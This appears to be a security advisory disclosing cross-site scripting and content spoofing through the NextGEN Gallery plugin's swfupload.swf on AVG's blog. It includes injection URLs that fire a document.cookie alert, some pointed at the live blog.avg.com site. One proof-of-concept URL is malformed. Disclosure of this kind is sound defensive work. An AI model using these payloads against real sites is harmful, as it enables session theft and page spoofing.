#Title: Cross Site Scripting in AVG Official Blog
Vector of operation: Remote
Impact: Cross Site Scripting & Content Spoofing
*Description:
The vulnerability is caused due to insufficient input validation in the parameter
“movieName” and "buttonText" in the script to swfupload.swf “ExternalInterface.call ()”. This can be
exploited to execute arbitrary HTML and script code in a user’s browser session in
context of an affected site.
There are two vulnerabilities in AVG Official Blog.
*Content Spoofing
http://[victim]/Wordpress/wp-content/plugins/nextgen-gallery/admin/js/swfupload.swf?buttonText=test<img src='http://i.imgur.com/ltp2L8N.jpg'>
It's possible to inject text, images and html (e.g. for link injection).
*Cross-Site Scripting
http://[victim]/Wordpress/wp-content/plugins/nextgen-gallery/admin/js/swfupload.swf?buttonText=<a href='javascript:alert(document.cookie)'>Click me</a>
Code will execute after click. It's strictly social XSS.
*Proof of Concept Code
http://[victim]/Wordpress/wp-content/plugins/nextgen-gallery/admin/js/swfupload.swf?movieName=[XSS]
http://[victim]/Wordpress/wp-content/plugins/nextgen-gallery/admin/js/swfupload.swfbuttonText=testbuttonText=test<img src='http://i.imgur.com/ltp2L8N.jpg'>
*Live Preview
http://blog.avg.com/wp-content/plugins/nextgen-gallery/admin/js/swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert("xss");//
http://blog.avg.com/wp-content/plugins/nextgen-gallery/admin/js/swfupload.swf?buttonText=<a href='javascript:alert(document.cookie)'>Click me</a>
http://blog.avg.com/wp-content/plugins/nextgen-gallery/admin/js/swfupload.swf?buttonText=testbuttonText=test<img src='http://i.imgur.com/ltp2L8N.jpg'>
Screenshot:
http://i.imgur.com/A4rKq0Q.jpg
*Solution:
On the server side, you can upgrade to a non-vulnerable version. Onthe client
you can use a browser that obeys the Content-Type header specified by the server, such as Mozilla Firefox, Google Chrome, Apple Safari or Opera.
Internet Explorer 8 with the XSS Filter won't execute the malicious scripts.
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